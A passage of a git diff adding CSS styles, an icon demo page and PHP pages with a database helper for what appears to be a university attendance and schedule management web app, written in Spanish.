height: 110px; +} + +header .logotipo { + float: left; + clear: none; + text-align: inherit; + width: 20%; + margin-left: 0; + margin-right: 0; +} + +header .logotipo:before { + content: ''; + display: table; +} + +header .logotipo img, +aside .logotipo img { + max-width: 200px; +} + +.mainMenu { + min-width: 85px; +} + +.menu .nav-item { + border-right: 1px solid #969696; +} + +.menu .nav-item:last-child { + border-right: 0; +} + +.menu .nav-item>a, +.menu .nav-item>span { + color: #969696; + padding: 1px 10px; +} + +.menu .nav-item>a:hover { + color: #D21034; + text-decoration: none; +} + +.menu .nav-item>a { + transition: color 0.6s ease; +} + +.max-h { + height: 45px !important; + max-height: 45px; +} + +.max-w { + width: 45px !important; + max-width: 45px; +} + +.iconSesion { + margin-right: -20px; +} + +.iconLogin, +.iconOff { + font-size: 16px; + display: block; + width: 60px; + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; + border-radius: 30px 0 0 30px; +} + +.iconOff:hover, +.iconOff:active { + text-decoration: none; + background: #D21034; + color: #FFFFFF !important; + height: 40px; +} + +.iconOff { + color: #D21034 !important; +} + +.iconLogin:hover, +.iconLogin:active, +.iconOff:hover, +.iconOff:active { + text-decoration: none; + color: #FFFFFF !important; + height: 40px; +} + +.iconLogin { + color: #339933; +} + +.iconLogin:hover, +.iconLogin:active { + background: #339933; +} + +.iconMenu { + font-size: 32px; +} + +.menuicon:hover { + color: #101097 !important; +} + +.cerraricon { + height: 40px !important; + max-height: 40px; + width: 40px !important; + max-width: 40px; + cursor: pointer; +} + +.cerraricon:hover { + background: #101097 !important; +} + +.fa-ul { + list-style-type: none; + margin-left: 2.5em; + padding-left: 0; +} + +/* BUTTONS */ +/*.btn .fa-circle{color:rgba(255,255,255,0.15);} +.btn .icon{font-weight: bold;} +.btn-round{border-radius:30px; padding-left: 0.5rem!important; padding-right: 0.5rem!important;}*/ + +.btn-ing { + position: relative; + padding-right: 35px; + padding-left: 20px; +} + +.btn.arrow:after { + content: "\e905"; + font-size: 14px; + position: absolute; + font-family: "ingfont"; + right: 14px; + margin-top: 3px; + font-weight: bold; + -webkit-transition: 0.6s all ease; + -moz-transition: 0.6s all ease; + -o-transition: 0.6s all ease; + -ms-transition: 0.6s all ease; + transition: 0.6s all ease; + vertical-align: middle; +} + +.btn-outline-secondary { + border: 0; +} + +/* SOBREESCRIBE BOOTSTRAP */ +.btn-outline-primary.arrow:after { + color: #D21034; +} + +.btn-outline-danger.arrow:after { + color: #001D68; +} + +.btn-outline-secondary:hover.arrow:after { + color: #D21034; +} + +.btn-outline-info:hover.arrow:after { + color: #001D68; +} + +/***** SCROLLBAR *****/ +div ::-webkit-scrollbar { + width: 8px; +} + +/*Ancho*/ +div ::-webkit-scrollbar-track { + background: #f7f7f7; +} + +/*Riel*/ +div ::-webkit-scrollbar-thumb { + background: #969696; +} + +/* Handle */ +div ::-webkit-scrollbar-thumb:hover { + background: #001d68; +} + +/* Effects */ +/* Vars for primary, secondary, success, info, warning, danger, light, dark */ + +:root { + --primary-color: #001d68; + --secondary-color: #001d68; + --success-color: #339933; + --danger-color: #d21034; + --warning-color: #ffc107; + --info-color: #969696; + --light-color: #f7f7f7; + --dark-color: #343a40; +} + +.glow-primary { + background: var(--primary-color); + color: #fff; + border-radius: 5px; + padding: 5px; + box-shadow: 0 0 5px var(--primary-color); + transition: all 0.5s ease; +} + +.glow-secondary { + background: var(--secondary-color); + color: #fff; + border-radius: 5px; + padding: 5px; + box-shadow: 0 0 5px var(--secondary-color); + transition: all 0.5s ease; +} + +.glow-success { + background: var(--success-color); + color: #fff; + border-radius: 5px; + padding: 5px; + box-shadow: 0 0 5px var(--success-color); + transition: all 0.5s ease; +} + +.glow-danger { + background: var(--danger-color); + color: #fff; + border-radius: 5px; + padding: 5px; + box-shadow: 0 0 5px var(--danger-color); + transition: all 0.5s ease; +} + +.glow-warning { + background: var(--warning-color); + color: #fff; + border-radius: 5px; + padding: 5px; + box-shadow: 0 0 5px var(--warning-color); + transition: all 0.5s ease; +} + +.glow-info { + background: var(--info-color); + color: #fff; + border-radius: 5px; + padding: 5px; + box-shadow: 0 0 5px var(--info-color); + transition: all 0.5s ease; +} + +.glow-light { + background: var(--light-color); + color: #fff; + border-radius: 5px; + padding: 5px; + box-shadow: 0 0 5px var(--light-color); + transition: all 0.5s ease; +} + +.glow-dark { + background: var(--dark-color); + color: #fff; + border-radius: 5px; + padding: 5px; + box-shadow: 0 0 5px var(--dark-color); + transition: all 0.5s ease; +} + +/*Hover Handle */ + +/***** FOOTER *****/ +footer { + font-size: 14px; + color: #fff; +} + +footer .footerTop { + background: #001d68; + padding: 15px 0; +} + +footer .footerTop .logotipo { + overflow: hidden; +} + +footer .footerTop .logotipo h3 { + display: inline-block; + vertical-align: top; + color: #fff; + margin: 0; + float: right; + text-align: right; + font-size: 25px; + font-family: 'indivisa-text' +} + +footer .footerTop .logotipo h3 span { + display: block; +} + +footer .footerTop .menuFooter h3 { + font-size: 12px; + font-family: 'indivisa-text'; + color: #fff !important; +} + +footer .footerTop .menuFooter ul { + overflow: hidden; +} + +footer ul { + list-style: none; + padding: 0; + margin: 0; +} + +footer .footerTop .menuFooter ul>li { + zoom: 1; + float: left; + clear: none; + text-align: inherit; + width: 16%; + margin-left: 0; + margin-right: 3%; +} + +footer .footerTop .menuFooter ul>li ul li a { + font-size: 10px; +} + +footer ul>li { + display: inline-block; + vertical-align: top; +} + +.footerMore { + position: relative; + display: none; + padding: 5px 0; +} + +footer a { + color: #fff; + -webkit-transition: color 0.5s; + transition: color 0.5s; +} + +footer a:hover { + color: #ce0e2d !important; + text-decoration: none !important; +} + +footer .footerTop .menuFooter ul>li ul li { + display: block; + width: 100%; + margin-bottom: 0px; +} + +footer .ubicacion { + margin-top: 20px; + overflow: hidden; +} + +footer .ubicacion .address { + display: inline-block; + /*width: 65%;*/ + vertical-align: bottom; +} + +footer .ubicacion .address h4, +footer .ubicacion .address h4 a { + color: #0fb7f1; + font-size: 14px; + margin: 0 0 0 -5px; + position: relative; +} + +footer .ubicacion .address h4 a { + display: inline-block; +} + +footer .ubicacion .redes { + display: inline-block; + vertical-align: bottom; + /*width:32%;text-align:right*/ +} + +footer .ubicacion .redes h4 { + display: inline-block; + vertical-align: middle; + margin: 0; + font-size: 16px !important; + font-weight: bold; +} + +footer .ubicacion .redes ul { + display: inline-block; + vertical-align: middle +} + +footer .ubicacion .redes ul li { + margin-left: 2px +} + +footer .footerMiddle { + background: #071e58; + overflow: hidden; +} + +footer .footerMiddle nav ul { + text-align: center; +} + +footer .footerMiddle nav ul li { + border-right: 1px solid #fff; + padding: 1px 10px; + display: inline-block; + margin-bottom: 10px; +} + +footer ul>li { + display: inline-block; + vertical-align: top; +} + +footer .footerBottom { + background: #091941; + overflow: hidden; + padding: 15px 0; +} + +.footerBottom .logotipos { + display: inline-block; + vertical-align: middle; + width: 20% +} + +footer .footerBottom .logotipos a { + display: inline-block; + width: 80px; + margin-right: 6px +} + +footer .footerBottom .logotipos a.internacional { + width: 80px +} + +footer .footerBottom .logotipos a.red { + width: 75px +} + +footer .footerBottom .legales { + text-align: right; + float: right; + width: 60%; + margin-right: 0; + margin-left: auto; + padding-top: 10px; + padding-bottom: 0 +} + +footer .footerBottom .legales ul li { + border-right: 1px solid #fff; + padding: 1px 10px +} + +footer .footerBottom .legales ul li:last-child { + border: 0 +} + +footer .tab-pane p { + font-size: 12px; + line-height: 18px; +} + +@media (max-width: 800px) { + + .menu, + .subMenu { + position: relative; + } + + .iconoMenu { + position: absolute; + display: block; + right: 20px; + top: 10px; + } + + .menuOculto { + display: none; + } + + .form-box-info>.form-group>div { + margin-left: 0px; + } + + /* + .responsive{ + float: none; + text-align: center; + display: flex; + flex-direction: column; + flex-wrap: wrap; + justify-content: center; + align-items: center; + }*/ +} + +.movie { + transition: all 0.1s; + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2); + height: 8rem; + /* align all inside content to the middle */ + display: flex; + flex-direction: column; + justify-content: center; + align-items: center; + background-color: #f7f7f7; +} + +.movie:hover { + transform: scale(1.05); + box-shadow: 0 4px 8px rgba(0, 0, 0, 0.5); + font-size: 1.1em; +} + +.movie:active { + transform: scale(1.1); + box-shadow: 0 6px 12px rgba(0, 0, 0, 0.2); + font-size: 1.2em; + font-weight: bold; +} + +.icono.ing-buscar { + cursor: pointer; +} \ No newline at end of file diff --git a/css/style.css b/css/style.css new file mode 100644 index 0000000..2e6b8d8 --- /dev/null +++ b/css/style.css @@ -0,0 +1,99 @@ +.bg-azul { + background-color: #00a6CE; +} + +.azul { + color: #00a6CE; +} + +/* for sm */ + +.custom-switch.custom-switch-sm .custom-control-label { + padding-left: 1rem; + padding-bottom: 1rem; +} + +.custom-switch.custom-switch-sm .custom-control-label::before { + height: 1rem; + width: calc(1rem + 0.75rem); + border-radius: 2rem; +} + +.custom-switch.custom-switch-sm .custom-control-label::after { + width: calc(1rem - 4px); + height: calc(1rem - 4px); + border-radius: calc(1rem - (1rem / 2)); +} + +.custom-switch.custom-switch-sm .custom-control-input:checked ~ .custom-control-label::after { + transform: translateX(calc(1rem - 0.25rem)); +} + +/* for md */ + +.custom-switch.custom-switch-md .custom-control-label { + padding-left: 2rem; + padding-bottom: 1.5rem; +} + +.custom-switch.custom-switch-md .custom-control-label::before { + height: 1.5rem; + width: calc(2rem + 0.75rem); + border-radius: 3rem; +} + +.custom-switch.custom-switch-md .custom-control-label::after { + width: calc(1.5rem - 4px); + height: calc(1.5rem - 4px); + border-radius: calc(2rem - (1.5rem / 2)); +} + +.custom-switch.custom-switch-md .custom-control-input:checked ~ .custom-control-label::after { + transform: translateX(calc(1.5rem - 0.25rem)); +} + +/* for lg */ + +.custom-switch.custom-switch-lg .custom-control-label { + padding-left: 3rem; + padding-bottom: 2rem; +} + +.custom-switch.custom-switch-lg .custom-control-label::before { + height: 2rem; + width: calc(3rem + 0.75rem); + border-radius: 4rem; +} + +.custom-switch.custom-switch-lg .custom-control-label::after { + width: calc(2rem - 4px); + height: calc(2rem - 4px); + border-radius: calc(3rem - (2rem / 2)); +} + +.custom-switch.custom-switch-lg .custom-control-input:checked ~ .custom-control-label::after { + transform: translateX(calc(2rem - 0.25rem)); +} + +/* for xl */ + +.custom-switch.custom-switch-xl .custom-control-label { + padding-left: 4rem; + padding-bottom: 2.5rem; +} + +.custom-switch.custom-switch-xl .custom-control-label::before { + height: 2.5rem; + width: calc(4rem + 0.75rem); + border-radius: 5rem; +} + +.custom-switch.custom-switch-xl .custom-control-label::after { + width: calc(2.5rem - 4px); + height: calc(2.5rem - 4px); + border-radius: calc(4rem - (2.5rem / 2)); +} + +.custom-switch.custom-switch-xl .custom-control-input:checked ~ .custom-control-label::after { + transform: translateX(calc(2.5rem - 0.25rem)); +} \ No newline at end of file diff --git a/css/toggle.css b/css/toggle.css new file mode 100644 index 0000000..4903b1e --- /dev/null +++ b/css/toggle.css @@ -0,0 +1,142 @@ +/*\ +|*| ======================================================================== +|*| Bootstrap Toggle: bootstrap4-toggle.css v3.6.1 +|*| https://gitbrent.github.io/bootstrap4-toggle/ +|*| ======================================================================== +|*| Copyright 2018-2019 Brent Ely +|*| Licensed under MIT +|*| ======================================================================== +\*/ + +/* +* @added 3.0.0: Return support for "*-xs" removed in Bootstrap-4 +* @see: [Comment](https://github.com/twbs/bootstrap/issues/21881#issuecomment-341972830) +*/ +.btn-group-xs > .btn, .btn-xs { + padding: .35rem .4rem .25rem .4rem; + font-size: .875rem; + line-height: .5; + border-radius: 20rem; +} + +.checkbox label .toggle, .checkbox-inline .toggle { + margin-left: -1.25rem; + margin-right: .35rem; +} + +.toggle { + position: relative; + overflow: hidden; +} +.toggle.btn.btn-light, .toggle.btn.btn-outline-light { + /* bootstrap-4 - add a border so toggle is delineated */ + border-color: rgba(0, 0, 0, .15); +} +.toggle input[type="checkbox"] { + display: none; +} +.toggle-group { + position: absolute; + width: 200%; + top: 0; + bottom: 0; + left: 0; + transition: left 0.35s; + -webkit-transition: left 0.35s; + -moz-user-select: none; + -webkit-user-select: none; +} +.toggle-group label, .toggle-group span { cursor: pointer; } +.toggle.off .toggle-group { + left: -100%; +} +.toggle-on { + position: absolute; + top: 0; + bottom: 0; + left: 0; + right: 50%; + margin: 0; + border: 0; + border-radius: 20rem; +} +.toggle-off { + position: absolute; + top: 0; + bottom: 0; + left: 50%; + right: 0; + margin: 0; + border: 0; + border-radius: 20rem; + box-shadow: none; /* Bootstrap 4.0 Support via (Issue #186)[https://github.com/minhur/bootstrap-toggle/issues/186]) */ +} +.toggle-handle { + position: relative; + margin: 0 auto; + padding-top: 0px; + padding-bottom: 0px; + height: 100%; + width: 0px; + border-width: 0 1px; + background-color: #FFFFFF; +} + +.toggle.btn-outline-primary .toggle-handle { + background-color: var(--primary); + border-color: var(--primary); +} +.toggle.btn-outline-secondary .toggle-handle { + background-color: var(--secondary); + border-color: var(--secondary); +} +.toggle.btn-outline-success .toggle-handle { + background-color: var(--success); + border-color: var(--success); +} +.toggle.btn-outline-danger .toggle-handle { + background-color: var(--danger); + border-color: var(--danger); +} +.toggle.btn-outline-warning .toggle-handle { + background-color: var(--warning); + border-color: var(--warning); +} +.toggle.btn-outline-info .toggle-handle { + background-color: var(--info); + border-color: var(--info); +} +.toggle.btn-outline-light .toggle-handle { + background-color: var(--light); + border-color: var(--light); +} +.toggle.btn-outline-dark .toggle-handle { + background-color: var(--dark); + border-color: var(--dark); +} +.toggle[class*="btn-outline"]:hover .toggle-handle { + background-color: var(--light); + opacity: 0.5; +} + +/* NOTE: Must come first, so classes below override as needed */ +/* [default] (bootstrap-4.1.3 - .btn - h:38px) */ +.toggle.btn { min-width: 3.7rem; min-height: 2.15rem; } +.toggle-on.btn { padding-right: 1.5rem; } +.toggle-off.btn { padding-left: 1.5rem; } + +/* `lg` (bootstrap-4.1.3 - .btn - h:48px) */ +.toggle.btn-lg { min-width: 5rem; min-height: 2.815rem; } +.toggle-on.btn-lg { padding-right: 2rem; } +.toggle-off.btn-lg { padding-left: 2rem; } +.toggle-handle.btn-lg { width: 2.5rem; } + +/* `sm` (bootstrap-4.1.3 - .btn - h:31px) */ +.toggle.btn-sm { min-width: 3.125rem; min-height: 1.938rem; } +.toggle-on.btn-sm { padding-right: 1rem; } +.toggle-off.btn-sm { padding-left: 1rem; } + +/* `xs` (bootstrap-3.3 - .btn - h:22px) */ +.toggle.btn-xs { min-width: 2.19rem; min-height: 1.375rem; } +.toggle-on.btn-xs { padding-right: .8rem; } +.toggle-off.btn-xs { padding-left: .8rem; } diff --git a/demo.html b/demo.html new file mode 100644 index 0000000..1345a80 --- /dev/null +++ b/demo.html @@ -0,0 +1,235 @@ + +

+ ing-fb1 +

+

+ ing-fb2 +

+

+ ing-tw1 +

+

+ ing-tw2 +

+

+ ing-in1 +

+

+ ing-in2 +

+

+ ing-instra1 +

+

+ ing-instra2 +

+

+ ing-youtube +

+

+ ing-telefono +

+

+ ing-mail +

+

+ ing-link +

+

+ ing-ubicacion +

+

+ ing-puntos +

+

+ ing-usuario +

+

+ ing-pass +

+

+ ing-menu +

+

+ ing-salir +

+

+ ing-flecha +

+

+ ing-cambiar +

+

+ ing-caret +

+

+ ing-aceptar +

+

+ ing-cancelar +

+

+ ing-mas +

+

+ ing-menos +

+

+ ing-editar +

+

+ ing-buscar +

+

+ ing-ojo +

+

+ ing-borrar +

+

+ ing-basura +

+

+ ing-camara +

+

+ ing-importante +

+

+ ing-bullet +

+

+ ing-home +

+

+ ing-formacion +

+

+ ing-empleo +

+

+ ing-insignia1 +

+

+ ing-insignia2 +

+

+ ing-insignia3 +

+

+ ing-insignia4 +

+

+ ing-eventos +

+

+ ing-reporte +

+

+ ing-catalogo +

+

+ ing-evalua-cartel +

+

+ ing-revision-cartel +

+

+ ing-reporte-resultados +

+

+ ing-mi-cartel +

+

+ ing-galeria1 +

+

+ ing-galeria2 +

+

+ ing-iniciar-sesion +

+

+ ing-finalistas +

+

+ ing-comite +

+

+ ing-administrador +

+

+ ing-estrella1 +

+

+ ing-estrella2 +

+

+ ing-carga-archivo +

+

+ ing-carga-multiple +

+

+ ing-descarga +

+

+ ing-autorizar +

+

+ ing-negar +

+

+ ing-no-cargado +

+

+ ing-alumnos +

+

+ ing-cardex +

+

+ ing-configuracion +

+

+ ing-listado-menus +

+

+ ing-mi-cuenta +

+

+ ing-ver +

+

+ ing-grafica +

+

+ ing-clic +

+

+ ing-guardar +

+

+ ing-regresar +

+

+ ing-cuadrado +

+

+ ing-imprimir +

+

+ ing-importante2 +

+

+ ing-copiar +

+

+ ing-reloj +

+

+ ing-retardo +

+

+ ing-justificar +

\ No newline at end of file diff --git a/días_festivos.php b/días_festivos.php new file mode 100644 index 0000000..393c982 --- /dev/null +++ b/días_festivos.php @@ -0,0 +1,339 @@ +access(); +if($user->acceso == null){ + header('Location: main.php?error=1'); +}else{ + $user->print_to_log('Dias_festivos'); +} +if(isset($_GET['facultad'])){ + $fac = $_GET['facultad']; +}else if($user->admin){ + $fac = null; +}else{ + $fac = $user->facultad['facultad_id']; +} +?> + + + + + + + Días Festivos + + + + + + + + access(); + $fs_dias_festivos = query("SELECT * FROM fs_diasfestivos(:facultad, null, null, null) ORDER BY diasfestivos_dia", [':facultad' => $fac], false); + $fs_periodos = query("SELECT * FROM fs_periodos(null, null) WHERE estado = 'Activo'", null, false); + $fs_dias_festivos_generales = query("SELECT * FROM fs_diasfestivos(null, null) ORDER BY diasfestivos_dia", null, false); + ?> +
+ admin){ ?> +
+ +
+ +
+ + +
+
+ + + + + + + admin){ ?> + + + + + + + + + + + + admin){ ?> + + + + + + + + + + + admin){ ?> + + + + + + +
DíaPeriodoNivelFacultadAcciones
+ + +
TodosTodosTodas + + +
+
+
+ +
+ + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/editar_horario.php b/editar_horario.php new file mode 100644 index 0000000..3a9d5a7 --- /dev/null +++ b/editar_horario.php @@ -0,0 +1,108 @@ +admin) + header('Location: main.php?error=1'); +?> + + + + + + + + Editar Horarios | <?php echo $_SESSION['facultad'] ?? "Administrador"; ?> + + + + + + + + + + +
+
+
+
+ +
+ + + +
+ +
+
+ + +
+
+ + + + + + + + + + + + + + + + + + + +
HoraLunesMartesMiércolesJuevesViernesSábadoDomingo
7:00 - 8:00 +
+
+
+
+
+ + + + + $facultad_id, ":dia" => $dia) + ); + foreach ($horarios as $h) + $horario[$dia][] = $h; + } + return $horario; +} +?> \ No newline at end of file diff --git a/excel_horario.php b/excel_horario.php new file mode 100644 index 0000000..53f3840 --- /dev/null +++ b/excel_horario.php @@ -0,0 +1,203 @@ +access('excel_horario'); + +if (in_array($user->acceso, ['r', 'n'])) { + // die($access); + header('Location: main.php?error=1'); +} else { + $user->print_to_log('Consultar asistencia'); +} +?> + + + + + Cargar horario desde Excel | <?= $user->facultad['facultad'] ?? 'General' ?> + + + + + + + +
+
+ +
+
+
+ $user->facultad['facultad_id'], ":per" => $user->periodo_id], single: false); + #die(print_r($carreras, true)); + ?> +
+ +
+
+
Seleccionar carrera
+ +
    + +
  • + +
  • + +
+ +
+
+
+ +
+ +
+ +
+
+ +
+ + +
+
+
+ +
+
+ + + + + + + + + + + + + \ No newline at end of file diff --git a/facultades.php b/facultades.php new file mode 100644 index 0000000..09ae7b4 --- /dev/null +++ b/facultades.php @@ -0,0 +1,279 @@ +access(); +if($user->acceso == null){ + header('Location: main.php?error=1'); +}else{ + $user->print_to_log('Facultades'); +} +if($user->admin!=true){ + header('Location: carreras.php?facultad='.$user->facultad['facultad_id']); +} +?> + + + + + + + Facultades + + + + + access(); + if(isset($_POST["estado"])){ + echo "estado=".$_POST["estado"]; + } + + if(isset($_POST["desc"])){ + $desc=$_POST["desc"]; + $filter_desc = trim(filter_input(INPUT_POST, "desc", FILTER_SANITIZE_STRING, array('flags' => FILTER_FLAG_STRIP_LOW))); + }else{ + $desc=null; + } + if($user->admin==true){ + $fs_facultades = query( + "SELECT * FROM fs_facultades(:nombre)", + array(":nombre" => $desc), + single:false + ); + }else{ + $fs_facultades = query( + "SELECT * FROM fs_facultades(:nombre) where facultad_id = :facultad", + array(":nombre" => $desc, ":facultad" => $user->facultad["facultad_id"]), + single:false + ); + } + ?> +
+ admin==true) {?> +
+
+ +
+
+ + +
+
+
+
+
+ +
+ > +
+
+
+
+
+ + +
+
+
+
+
+ + +
+
+ + + + + + acceso == 'w') {?> + + + + + + + " id=""> + + + + acceso == 'w') {?> + + + + + +
EstadoFacultadAcciones
+ + + + " title="Agregar carreras o periodos"> +
+
+
+
+
+ + + + + + + + + + + \ No newline at end of file diff --git a/faltas.php b/faltas.php new file mode 100644 index 0000000..bc2b6c5 --- /dev/null +++ b/faltas.php @@ -0,0 +1,275 @@ + + + + + + + Auditoría de faltas + + + + + + + + + + periodo_id) { ?> + + + + + + + +
+ +
+
+
+ facultad['facultad_id']) { ?> +
+ +
+
+
+ Selecciona una facultad +
+ +
    +
  • + Selecciona una facultad +
  • +
  • + ( {{facultad.clave_dependencia}} ) {{ facultad.facultad_nombre }} +
  • +
+ +
+
+
+ +
+ +
+
+ + +
+ + +
+
+
+ +
+
+
+ Selecciona una porcentaje +
+ +
    +
  • + Selecciona un porcentaje +
  • +
  • facultad['facultad_id']) { ?> + @click="filter.porcentaje = porcentaje; filter.facultad = facultad['facultad_id'] ?>;" + + @click="filter.porcentaje = porcentaje;" + > + {{ porcentaje }}% +
  • +
+ +
+ facultad['facultad_id']) { ?> + @click="filter.facultad = facultad['facultad_id'] ?>" + + placeholder="Número de faltas"> + +
+
+
+ +
+
+
+ + +
+
+
+
+
+
+ +
+ +
+ +
+
+
+ +
+
+ + +
+ + + + + + + + + + + + + + + +
+ {{ column.column }} +
+ {{ falta.profesor.profesor_clave }} + {{ falta.profesor.profesor_nombre }} + + {{ falta.faltas }} + + {{ falta.total }} + + {{ falta.porcentaje }}% +
+
+ + + + +
+ + + + + + + + + \ No newline at end of file diff --git a/horarios_historicos.php b/horarios_historicos.php new file mode 100644 index 0000000..6dad736 --- /dev/null +++ b/horarios_historicos.php @@ -0,0 +1,208 @@ + + + + + + + + Histórico de horarios + + + + + + + + + + periodo_id) { ?> + + + + + + +
+ + +
+ +
+
+
+
+ + + + + +
+
+
+
+ +
+ +
+ + + + + + + + + + + + + + + + + + + + + + +
+ Carrera + + Materia + + Grupo + + Horario + + Alta + + Baja +
+ + {{horario.facultad_nombre}} + + {{horario.carrera_nombre}} + + {{horario.materia_nombre}} + + {{horario.horario_grupo}} + + {{días[horario.horario_dia]}} - {{horario.horario_hora}} - {{horario.horario_fin}} + + {{horario.horario_fecha_inicio}} + + {{horario.horario_fecha_fin}} +
+
+ + + + +
+ + + + + + + \ No newline at end of file diff --git a/import/html_css_files.php b/import/html_css_files.php new file mode 100644 index 0000000..f79241f --- /dev/null +++ b/import/html_css_files.php @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/import/html_footer.php b/import/html_footer.php new file mode 100644 index 0000000..f3c7128 --- /dev/null +++ b/import/html_footer.php @@ -0,0 +1,145 @@ +
+ +
\ No newline at end of file diff --git a/import/html_forms.php b/import/html_forms.php new file mode 100644 index 0000000..c2ccc79 --- /dev/null +++ b/import/html_forms.php @@ -0,0 +1,22 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/import/html_forms_asistencia.php b/import/html_forms_asistencia.php new file mode 100644 index 0000000..6c9623c --- /dev/null +++ b/import/html_forms_asistencia.php @@ -0,0 +1,139 @@ + + + +
+
+ + where('id', $user->periodo_id)->getOne('fs_periodo'); + $carreras = $db + ->where('nivel', $periodo['nivel_id']) + ->where('facultad', $user->facultad['facultad_id']) + ->orderBy('carrera') + ->get('fs_carrera'); + + ?> +
+ +
+
+
Seleccionar todas las carreras
+ +
    +
  • Seleccionar todas las carreras
  • + +
  • + +
  • + +
+ +
+
+
+ +
+ +
+ +
+
+
+ +
+ +
+
+ +
+ +
+ +
No es una fecha válida.
+
+
+
+ +
+ +
No es una fecha válida o el rango es incorrecto.
+
+
+
+
+ + +
+ +
+ + \ No newline at end of file diff --git a/import/html_forms_justificacion.php b/import/html_forms_justificacion.php new file mode 100644 index 0000000..402556c --- /dev/null +++ b/import/html_forms_justificacion.php @@ -0,0 +1,111 @@ + + + +
+
+
+ Selecciona la fecha que deseas justificar. +
+
+ +
+ +
No es una fecha válida.
+
+
+ +
+ +
+ +
+ + + +
+
No es una hora válida.
+
+ +
+ + +
+ +
+ +
+ + + +
+
No es una hora válida.
+
+
+ +
+ +
+ +
No es una clave válida.
+
+
+ + +
+ +
+ +
No es un nombre válido.
+
+
+ +
+ + + +
+ +
+ +
+ + + \ No newline at end of file diff --git a/import/html_forms_vista.php b/import/html_forms_vista.php new file mode 100644 index 0000000..ea3cc39 --- /dev/null +++ b/import/html_forms_vista.php @@ -0,0 +1,163 @@ +
+ $id, ':per' => $user->periodo_id]); +// materia por carrera +#print_r($carreras); +$materias = queryAll("SELECT DISTINCT * FROM FS_MATERIA WHERE CARRERA = COALESCE(:car, CARRERA) AND ID IN (SELECT distinct materia_id FROM HORARIO WHERE :id IN (SELECT HORARIO_ID FROM HORARIO_PROFESOR WHERE PROFESOR_ID = :id) AND PERIODO_ID = :per) ORDER BY NOMBRE", [":car" => empty($carrera) ? null : $carrera, ':id' => $id, ':per' => $user->periodo_id]); +#exit(); +$periodo = query("SELECT inicio, fin FROM FS_PERIODO WHERE ID = :per", [':per' => $user->periodo_id]); +?> + + +
+ + + + +
+
+ +
+
+
Todas las carreras
+ +
    + +
  • Todas las carreras
  • + +
  • " onclick="carreras()"> + +
  • + +
+ +
+
+
+ +
+ +
+
+
Todas las materias
+ +
    +
  • Todas las materias
  • + +
  • "> + +
  • + +
+ +
+
+
+ + +
+ +
+ +
No es una fecha válida.
+
+
+
+ +
+ +
No es una fecha válida o el rango es incorrecto.
+
+
+
+ + +
+ + +
+
+ + \ No newline at end of file diff --git a/import/html_header.php b/import/html_header.php new file mode 100644 index 0000000..d49b4f7 --- /dev/null +++ b/import/html_header.php @@ -0,0 +1,145 @@ + + + +access(); +$pagina = substr(basename($_SERVER['PHP_SELF']), 0, -4); +if (!in_array($pagina, ["main", "test"]) && !$user->acceso) { + header('Location: main.php?error=1'); + exit; +} + +$grupos = $user->admin ? queryAll("SELECT * FROM GRUPO ORDER BY grupo_nombre") : $db->query("SELECT * FROM GRUPO WHERE grupo_id IN (SELECT grupo_id FROM PERMISO_VIEW WHERE id = :id) ORDER BY grupo_nombre", array(":id" => $user->user['id'])); + +function html_header($title, $header = null) +{ + global $grupos, $user, $db, $ruta; + ?> + +
+
+ +
+ +
+ +
+
+

+ +

+
+ +
+
+

+ +

+
+
+
+ \ No newline at end of file diff --git a/import/html_header_index.php b/import/html_header_index.php new file mode 100644 index 0000000..4220312 --- /dev/null +++ b/import/html_header_index.php @@ -0,0 +1,34 @@ + + + +
+ +
+
+

+ +

+
+ +
+
+

+ +

+
+
+
+ + + + + + \ No newline at end of file diff --git a/import/html_scroll.php b/import/html_scroll.php new file mode 100644 index 0000000..c4721e5 --- /dev/null +++ b/import/html_scroll.php @@ -0,0 +1,42 @@ + + + + + + + \ No newline at end of file diff --git a/import/periodo.php b/import/periodo.php new file mode 100644 index 0000000..b4a8e3c --- /dev/null +++ b/import/periodo.php @@ -0,0 +1,73 @@ + + +
+
+
+ orderBy('nivel_nombre') + ->get("nivel"); + + // collect facultad_id's with facultad from $periodos + ?> + +
+
+ +
+
+
+ Selecciona un periodo +
+ +
    + +
  • + +
  • + query('SELECT periodo_id, periodo_nombre FROM PERIODO_VIEW + WHERE + nivel_id = :nivel_id AND + (facultad_id = :facultad_id OR :facultad_id IS NULL) + GROUP BY periodo_id, periodo_nombre, periodo_fecha_inicio + ORDER BY periodo_fecha_inicio DESC', + [ + ':nivel_id' => $nivel['nivel_id'], + ':facultad_id' => $user->facultad['facultad_id'] + ] + ); + array_walk($periodos_rs, function ($per) { + global $user; + ?> +
  • periodo_id == $per["periodo_id"]) { + echo 'class="selected"'; + } ?>> + +
  • + + +
+ +
+
+
+
+
+
+
+ + + \ No newline at end of file diff --git a/include/bd_pdo.php b/include/bd_pdo.php new file mode 100644 index 0000000..c524be1 --- /dev/null +++ b/include/bd_pdo.php @@ -0,0 +1,63 @@ +load(); +use \SeinopSys\PostgresDb; + +# Connect to the database +try { + // Postgres + $pdo = new PDO("pgsql:host=" . $_ENV['DB_HOST'] . ";dbname=" . $_ENV['DB_NAME'], $_ENV['DB_USER'], $_ENV['DB_PASS']); + $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); + + $db = new PostgresDb(); + $db->setConnection($pdo); +} catch (PDOException $e) { + echo "Error: " . $e->getMessage(); +} + +// check recursivelly if the array has only empty strings +function is_response_empty($array) +{ + foreach ($array as $value) { + if (is_array($value)) { + if (!is_response_empty($value)) { + return false; + } + } else { + if (!empty($value)) { + return false; + } + } + } + return true; +} + +// SQL function +function query(string $sql, array $params = null, bool $single = true) +{ + global $pdo; + try { + $stmt = $pdo->prepare($sql); + $stmt->execute($params); + $response = $single ? $stmt->fetch(PDO::FETCH_ASSOC) : $stmt->fetchAll(PDO::FETCH_ASSOC); + + return $response; + } catch (PDOException $e) { + echo "Error: " . $e->getMessage(); + return false; + } finally { + $stmt->closeCursor(); + $stmt = null; + } +} + +function queryAll(string $sql, array $params = null) +{ + return query($sql, $params, false); +} + +function toSQLArray(array $array): string +{ + return sprintf("{%s}", implode(", ", $array)); +} \ No newline at end of file diff --git a/include/bd_pdo_rest.php b/include/bd_pdo_rest.php new file mode 100644 index 0000000..d62ca98 --- /dev/null +++ b/include/bd_pdo_rest.php @@ -0,0 +1,63 @@ +load(); +use 